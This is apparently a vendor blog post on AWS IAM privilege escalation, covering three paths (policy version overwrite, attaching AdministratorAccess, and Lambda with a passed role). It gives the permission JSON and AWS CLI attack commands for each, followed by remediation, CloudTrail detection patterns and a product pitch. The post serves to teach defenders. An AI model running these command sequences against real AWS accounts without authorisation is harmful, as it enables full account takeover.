Part 2 of this series focused on dangerous IAM misconfigurations that appear in almost every AWS account. Those misconfigurations are dangerous on their own, but their real impact is what they enable next: a low-privilege attacker identity methodically moving from limited access to full account control.
What Privilege Escalation Means in AWS
In AWS, privilege escalation is not just “getting more access.” It is the process of using already-permitted API actions to grant yourself or another principal permissions you were never intended to have.
That distinction matters. Privilege escalation is different from credential theft:
- Credential theft: an attacker steals keys, tokens, or a session and uses someone else’s existing permissions.
- Privilege escalation: an attacker starts with a valid but limited identity and uses that identity’s allowed actions to create a new, more powerful permission state.
From a defender’s perspective, escalation is harder to spot because API calls often look legitimate in isolation. iam:CreatePolicyVersion, iam:AttachUserPolicy, or lambda:CreateFunction can all be valid operations in normal engineering workflows. The risk is in who calls them, when, and in what sequence.
Escalation Path #1: iam:CreatePolicyVersion
High-Risk Path
If an attacker can call iam:CreatePolicyVersion on a managed policy and set the new version as default, they can effectively overwrite that policy with administrator-level access.
A minimal policy that enables this looks like:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"iam:CreatePolicyVersion",
"iam:SetDefaultPolicyVersion"
],
"Resource": "arn:aws:iam::*:policy/*"
}
]
}
If the attacker can target a policy already attached to their own user or role, the attack sequence is straightforward:
# 1) Create a new policy version with admin permissions
aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/DeveloperPolicy \
--policy-document file://admin-policy.json \
--set-as-default
# 2) Confirm effective permissions with a high-privilege test action
aws iam list-users
And the injected policy document (admin-policy.json) is typically:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
Remediation
- Remove
iam:CreatePolicyVersionandiam:SetDefaultPolicyVersionfrom non-admin principals. - Scope these actions to a tightly controlled subset of policy ARNs, if absolutely required.
- Enforce permission boundaries so even modified policies cannot exceed a defined permissions ceiling.
Escalation Path #2: iam:AttachUserPolicy
High-Risk Path
If an attacker can attach managed policies to identities they control, they can directly add AWS-managed AdministratorAccess.
Example permission set:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"iam:AttachUserPolicy"
],
"Resource": [
"arn:aws:iam::*:user/*"
]
}
]
}
Attack sequence against a compromised IAM user:
# Attach AdministratorAccess to the current user
aws iam attach-user-policy \
--user-name compromised-user \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Validate by calling a privileged API
aws ec2 describe-instances
Remediation
- Deny
iam:AttachUserPolicyfor non-IAM-admin roles. - Use explicit deny guardrails at org/account level for attaching
AdministratorAccess. - Restrict attachment targets to approved break-glass identities only.
Escalation Path #3: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
Chained Escalation Path
This is one of the most important AWS escalation chains because each permission can appear harmless when reviewed independently.
The attacker needs three capabilities:
iam:PassRolefor a high-privilege execution role.lambda:CreateFunctionto launch code under that role.lambda:InvokeFunctionto execute the payload.
Each step can be granted separately, which is what makes this chain easy to miss in reviews.
Permission 1 (iam:PassRole):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": "arn:aws:iam::123456789012:role/OrganizationAccountAccessRole"
}
]
}
Permission 2 (lambda:CreateFunction):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:CreateFunction",
"Resource": "*"
}
]
}
Permission 3 (lambda:InvokeFunction):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "*"
}
]
}
Attack sequence:
# 1) Create function using a high-privilege execution role
aws lambda create-function \
--function-name escalate-fn \
--runtime python3.12 \
--handler index.handler \
--zip-file fileb://payload.zip \
--role arn:aws:iam::123456789012:role/OrganizationAccountAccessRole
# 2) Invoke function to perform privileged actions in AWS APIs
aws lambda invoke \
--function-name escalate-fn \
response.json
Inside payload.zip, the function can call privileged APIs like creating new admin users, attaching high-privilege policies, reading secrets, or modifying logging controls.
This is difficult to detect manually because:
iam:PassRolemay look normal in CI/CD or serverless workflows.- Lambda creation is common and high-volume.
- The dangerous signal is the relationship between caller, passed role, and immediate invocation timing.
The Compounding Problem: Real Attack Chains Are Multi-Step
In real incidents, attackers rarely rely on a single escalation trick. They chain permissions based on what the compromised identity can do right now.
A common attacker workflow:
- Enumerate current privileges using IAM simulation APIs, failed API response patterns, and service discovery calls.
- Probe IAM write capabilities (
CreatePolicyVersion,AttachUserPolicy,PutUserPolicy, etc.). - Check for
iam:PassRoleand inventory roles with broad permissions. - Look for an execution primitive (Lambda, ECS task execution, Step Functions integration) to run code under a stronger role.
- Establish durable access by creating new policies, roles, access keys, or trust relationships.
- Move laterally to data stores, KMS keys, secrets managers, and deployment pipelines.
From the attacker’s perspective, this is an optimization exercise: find the shortest permission chain to administrative control without triggering obvious alerts. A read-only foothold becomes dangerous the moment one or two mutation permissions are exposed.
Detection: What to Watch in CloudTrail
Detection Priority
At minimum, build detections for these event patterns:
CreatePolicyVersionAttachUserPolicyCreateFunctionwhereroleARN is unusual for the calling principalInvokeFunctionoccurring shortly afterCreateFunctionby the same principal- Any IAM write action from principals that do not normally perform IAM administration
Example CloudTrail Lake query pattern (conceptual):
# Pseudo-query logic
# Find principals that create Lambda functions and invoke them within minutes,
# where the role passed to Lambda is outside expected role allowlists.
Operationally, high-fidelity detection requires baselining:
- Which principals typically perform IAM changes?
- Which roles are allowed to be passed by which workloads?
- Which deployment pipelines legitimately create Lambda functions?
Without this context, security teams drown in noisy but technically valid events.
Why Manual Detection Doesn’t Scale
CloudTrail has the evidence, but manual review does not scale in real AWS environments.
The hard part is not finding one suspicious event. The hard part is continuously understanding:
- Effective permissions across hundreds of inline and managed policies,
- Which principals can combine seemingly harmless permissions into known escalation paths,
- Whether new deployments silently introduced fresh escalation opportunities.
That mapping problem is exactly what Horizon IAM Risk Analyzer is designed to solve: automatically identifying risky permission combinations and matching them to known IAM escalation techniques before they are exploited.
Close the Escalation Paths Before They’re Used
Privilege escalation is how low-severity IAM drift turns into account-level compromise. If an attacker can mutate IAM state or execute code under stronger roles, they do not need stolen admin credentials — they can build admin access from what already exists.
Horizon IAM Risk Analyzer gives you a practical way to detect and prioritize these paths continuously, not just during quarterly reviews.
Find Your IAM Escalation Paths Before Attackers Do
Automatically map privilege-escalation combinations across users, roles, and policies — and remediate the highest-risk paths first.
[Start your free 14-day trial on AWS Marketplace →]Up next — Part 4: Multi-Account IAM Risk. We’ll cover how escalation paths spread across AWS Organizations, cross-account trusts, and delegated administration models.